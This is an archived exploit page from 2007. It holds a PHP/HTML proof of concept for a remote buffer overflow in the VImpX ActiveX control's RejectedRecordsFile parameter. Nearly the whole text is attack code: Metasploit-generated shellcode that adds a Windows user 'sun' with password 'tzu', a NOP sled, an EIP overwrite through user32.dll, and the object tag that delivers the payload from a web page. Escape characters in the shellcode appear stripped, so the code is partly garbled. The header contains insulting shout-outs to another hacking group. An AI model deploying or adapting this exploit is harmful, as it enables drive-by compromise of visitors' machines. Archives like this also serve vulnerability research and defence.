Home / exploitsPDF  

vimpx-overflow.txt

Posted on 16 October 2007

> <!-
>    **************************************
>    | VImpX ActiveX (VImpX.ocx v. 4.7.3.0) Remote
> Buffer Overflows Exploit (RejectedRecordsFile)
>    | Code by 'Saw13'
>    | Software Site:
> http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53
>    | Special Fuck to : Delta Hacking Security
> Team--Farzad Sharifi- All Lashiayne Fucking MemberZ
Special TANX :  CrazyAngel  -   snake
>    ***************************************
> ->
> <html>
> <object
> classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968'
> id='VImpAX1'>
> <?php
> /* win32_adduser -  PASS=tzu EXITFUNC=seh USER=sun
> Size=483 Encoder=PexAlphaNum http://metasploit.com */
> $shellcode =
> "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
> "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
> "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
> "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
> "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54".
> "x42x30x42x30x42x30x4bx58x45x44x4ex43x4bx38x4ex57".
> "x45x50x4ax37x41x50x4fx4ex4bx48x4fx44x4ax51x4bx48".
> "x4fx45x42x42x41x50x4bx4ex49x34x4bx48x46x43x4bx38".
> "x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x58x42x4c".
> "x46x57x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e".
> "x46x4fx4bx33x46x35x46x42x46x50x45x47x45x4ex4bx58".
> "x4fx35x46x32x41x30x4bx4ex48x56x4bx48x4ex50x4bx54".
> "x4bx38x4fx35x4ex41x41x50x4bx4ex4bx38x4ex51x4bx38".
> "x41x30x4bx4ex49x38x4ex45x46x42x46x50x43x4cx 41x43".
> "x42x4cx46x46x4bx58x42x44x42x33x45x48x42x4cx4ax57".
> "x4ex50x4bx38x42x54x4ex30x4bx38x42x37x4ex41x4dx4a".
> "x4bx58x4ax36x4ax30x4bx4ex49x50x4bx58x42x38x42x4b".
> "x42x50x42x50x42x30x4bx38x4ax56x4ex43x4fx55x41x53".
> "x48x4fx42x36x48x55x49x48x4ax4fx43x58x42x4cx4bx47".
> "x42x45x4ax36x42x4fx4cx58x46x30x4fx45x4ax46x4ax49".
> "x50x4fx4cx38x50x30x47x45x4fx4fx47x4ex43x36x4dx56".
> "x46x36x50x32x45x46x4ax47x45x56x42x52x4fx52x43x36".
> "x42x52x50x46x45x56x46x47x42x52x45x47x43x37x45x56".
> "x44x57x42x42x43x57x45x47x50x56x42x52x46x47x4cx37".
> "x45x47x42x52x4fx42x41x34x46x34x46x54x42x42x48x42".
> "x48x32x42x52x50x46x45x36x46x57x42x52x4ex46x4fx36".
> "x43x56x41x46x4ex36x47x56x44x47x4fx36x45x57x42x37".
> "x42x52x41x54x46x46x4dx56x49x46x50x56x49 x36x43x37".
> "x46x47x44x37x41x56x46x47x4fx56x44x37x43x37x42x52".
> "x43x57x45x57x50x46x42x42x4fx32x41x34x46x54x46x54".
> "x42x50x5a";
> $junk = "x45x45x45x59";
> $eip  = "x2dxd1xe0x77"; // call eax user32.dll
> $exploit=
>
str_repeat("x90",268).$eip.$junk."x90x90x90x0dx01".str_repeat("x90",16).$shellcode.str_repeat("x90",9999);
> echo "<param name="RejectedRecordsFile"
> value="$exploit"/>";
> ?>
> </object>
> </html>

 

TOP

Malware :

Exploits :